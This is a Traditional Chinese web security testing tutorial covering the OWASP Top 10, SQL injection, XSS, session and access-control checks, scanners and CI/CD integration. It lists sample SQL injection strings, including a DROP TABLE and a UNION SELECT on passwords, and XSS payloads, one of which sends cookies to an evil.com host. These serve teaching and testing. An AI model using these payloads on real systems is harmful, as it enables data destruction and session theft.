安全測試旨在發現軟體系統中的安全漏洞,防止惡意攻擊和資料洩露。隨著網路攻擊日益頻繁,安全測試已成為軟體品質保證的關鍵環節。
常見安全漏洞類型#
OWASP Top 10 概覽#
OWASP(開放網頁應用程式安全計畫)定期發布最關鍵的 Web 應用程式安全風險清單:
| 排名 | 漏洞類型 | 說明 |
|---|---|---|
| 1 | 注入攻擊 | SQL、NoSQL、OS 命令注入 |
| 2 | 身份驗證失效 | 工作階段管理、密碼策略缺陷 |
| 3 | 敏感資料暴露 | 未加密傳輸或存儲敏感資訊 |
| 4 | XML 外部實體 | XXE 攻擊 |
| 5 | 訪問控制失效 | 越權訪問 |
| 6 | 安全組態錯誤 | 默認組態、不必要的功能 |
| 7 | 跨站腳本(XSS) | 反射型、存儲型、DOM 型 |
| 8 | 不安全的反序列化 | 遠程程式碼執行 |
| 9 | 使用已知漏洞組件 | 過時的依賴庫 |
| 10 | 日誌和監控不足 | 無法及時發現攻擊 |
SQL 注入攻擊#
攻擊原理#
用戶輸入:admin' OR '1'='1
原始 SQL:
SELECT * FROM users WHERE username='admin' AND password='123'
注入後 SQL:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='任意'
↑
永遠為真,繞過驗證防護措施#
永遠不要拼接 SQL,使用參數化查詢是防止 SQL 注入的最有效手段。
// 錯誤做法:字串拼接(易受注入攻擊)
String sql = "SELECT * FROM users WHERE username='" + username + "'";
// 正確做法:參數化查詢
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);測試方法#
在輸入框中嘗試典型的注入字串:
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT * FROM passwords --
1' AND SLEEP(5) --XSS 跨站腳本攻擊#
攻擊類型#
| 類型 | 說明 | 危害程度 |
|---|---|---|
| 反射型 | 惡意腳本作為請求參數,立即回傳並執行 | 中 |
| 存儲型 | 惡意腳本存儲在資料庫,多次觸發 | 高 |
| DOM 型 | 在用戶端修改 DOM 執行腳本 | 中 |
攻擊示例#
<!-- 反射型 XSS -->
<!-- 惡意 URL: http://example.com/search?q=<script>alert('XSS')</script> -->
<!-- 存儲型 XSS -->
<!-- 用戶評論: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script> -->防護措施#
// 1. 輸入驗證和過濾
String sanitizedInput = HtmlUtils.htmlEscape(userInput);
// 2. 輸出編碼
<div th:text="${userContent}"></div> <!-- 自動轉義 -->
// 3. Content Security Policy
response.setHeader("Content-Security-Policy",
"default-src 'self'; script-src 'self'");
// 4. HttpOnly Cookie
Cookie cookie = new Cookie("session", sessionId);
cookie.setHttpOnly(true); // JavaScript 無法讀取測試方法#
嘗試在輸入框中輸入:
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">
javascript:alert('XSS')身份驗證與工作階段管理#
常見問題#
| 問題 | 風險 | 測試點 |
|---|---|---|
| 弱密碼策略 | 暴力破解 | 密碼複雜度要求 |
| 明文傳輸 | 中間人攻擊 | 是否使用 HTTPS |
| 工作階段固定 | 工作階段劫持 | 登錄後是否更新工作階段 ID |
| 工作階段不過期 | 長期暴露 | 是否有逾時機制 |
安全測試清單#
用戶登錄安全測試:
├── ☐ 密碼是否加密存儲(不可逆 Hash)
├── ☐ 密碼是否加密傳輸(HTTPS)
├── ☐ 是否有密碼複雜度要求
├── ☐ 是否有登錄失敗限制
├── ☐ 是否支持多因素認證
├── ☐ 工作階段 ID 是否足夠隨機
├── ☐ 登錄後是否更新工作階段 ID
├── ☐ Cookie 是否設置 HttpOnly
├── ☐ Cookie 是否設置 Secure
└── ☐ 是否有工作階段逾時機制訪問控制測試#
常見訪問控制問題#
| 問題 | 說明 |
|---|---|
| 垂直越權 | 低權限用戶訪問高權限功能 |
| 水平越權 | 用戶 A 訪問用戶 B 的資料 |
| 功能級越權 | 直接訪問未授權的 API |
測試方法#
1. 垂直越權測試:
- 以普通用戶身份登錄
- 嘗試直接訪問管理員 URL
- 驗證是否被拒絕
2. 水平越權測試:
- 以用戶 A 登錄
- 將 URL 中的用戶 ID 改為用戶 B
- 驗證是否能訪問用戶 B 的資料
3. 功能級越權測試:
- 瀏覽器中正常操作
- 攔截請求,修改參數
- 驗證是否能執行未授權操作不要僅依賴前端控制:隱藏按鈕不代表安全,後端必須驗證每個請求的權限。
敏感資料處理#
敏感資料類型#
| 類型 | 示例 |
|---|---|
| 個人身份資訊 | 身份證號、護照號 |
| 財務資訊 | 信用卡號、銀行賬號 |
| 認證憑證 | 密碼、API Key、Token |
| 業務敏感資料 | 商業機密、客戶名單 |
安全處理原則#
敏感資料安全處理清單:
├── 存儲
│ ├── 密碼:單向 Hash(bcrypt/Argon2)+ 鹽值
│ ├── 敏感資料:對稱加密(AES-256)
│ └── 密鑰:安全存儲(HSM/密鑰管理服務)
├── 傳輸
│ ├── 使用 TLS 1.2+
│ └── 敏感資料額外加密
├── 使用
│ ├── 最小權限原則
│ └── 避免在日誌中記錄
└── 銷毀
├── 安全擦除
└── 定期清理過期資料安全測試方法#
測試類型#
| 類型 | 說明 | 執行者 |
|---|---|---|
| 安全掃描 | 自動化工具掃描已知漏洞 | 工具 |
| 滲透測試 | 模擬真實攻擊 | 安全專家 |
| 程式碼審計 | 審查源程式碼的安全問題 | 開發/安全團隊 |
| 組態審計 | 檢查系統組態的安全性 | 運維/安全團隊 |
滲透測試流程#
┌──────────────┐
│ 1. 資訊收集 │ ── 目標識別、連線埠掃描、服務識別
└──────┬───────┘
↓
┌──────────────┐
│ 2. 漏洞分析 │ ── 識別潛在漏洞點
└──────┬───────┘
↓
┌──────────────┐
│ 3. 漏洞利用 │ ── 嘗試利用漏洞獲取訪問權限
└──────┬───────┘
↓
┌──────────────┐
│ 4. 權限提升 │ ── 嘗試獲取更高權限
└──────┬───────┘
↓
┌──────────────┐
│ 5. 報告輸出 │ ── 記錄發現並提供修復建議
└──────────────┘安全掃描工具#
動態應用安全測試(DAST)#
| 工具 | 類型 | 特點 |
|---|---|---|
| OWASP ZAP | 開源 | 功能全面、易於使用 |
| Burp Suite | 商業/社區版 | 業界標準、插件豐富 |
| Nikto | 開源 | Web 服務器掃描 |
| sqlmap | 開源 | SQL 注入專用 |
靜態應用安全測試(SAST)#
| 工具 | 支持語言 | 特點 |
|---|---|---|
| SonarQube | 多語言 | 程式碼品質 + 安全規則 |
| FindBugs/SpotBugs | Java | 缺陷模式檢測 |
| Checkmarx | 多語言 | 企業級 SAST |
| Snyk | 多語言 | 依賴漏洞掃描 |
依賴漏洞檢測#
# Maven 項目
mvn org.owasp:dependency-check-maven:check
# npm 項目
npm audit
# Python 項目
safety check安全測試最佳實踐#
整合到 CI/CD#
# 安全測試流水線示例
security_pipeline:
stages:
- name: "SAST"
tools:
- "SonarQube"
- "SpotBugs"
- name: "依賴掃描"
tools:
- "OWASP Dependency Check"
- "Snyk"
- name: "DAST"
tools:
- "OWASP ZAP"
trigger: "部署到測試環境後"
- name: "容器掃描"
tools:
- "Trivy"
- "Clair"安全測試清單#
Web 應用安全測試檢查清單
輸入驗證:
- 所有用戶輸入都經過驗證和清理
- 使用參數化查詢防止 SQL 注入
- 實施適當的輸出編碼防止 XSS
身份驗證:
- 密碼使用安全 Hash 演算法存儲
- 實施多因素認證
- 登錄失敗有速率限制
工作階段管理:
- 工作階段 ID 足夠隨機
- 登錄後重新生成工作階段 ID
- Cookie 設置 HttpOnly 和 Secure 標誌
訪問控制:
- 每個請求都驗證用戶權限
- 實施最小權限原則
- 敏感操作需要重新認證
資料保護:
- 敏感資料加密存儲
- 使用 TLS 加密傳輸
- 日誌中不記錄敏感資訊
安全組態:
- 禁用不必要的功能和連線埠
- 更新所有軟件和依賴
- 組態安全的 HTTP 回應頭
安全是持續的過程:安全測試不是一次性活動,應該持續進行,並將安全意識融入整個開發生命週期。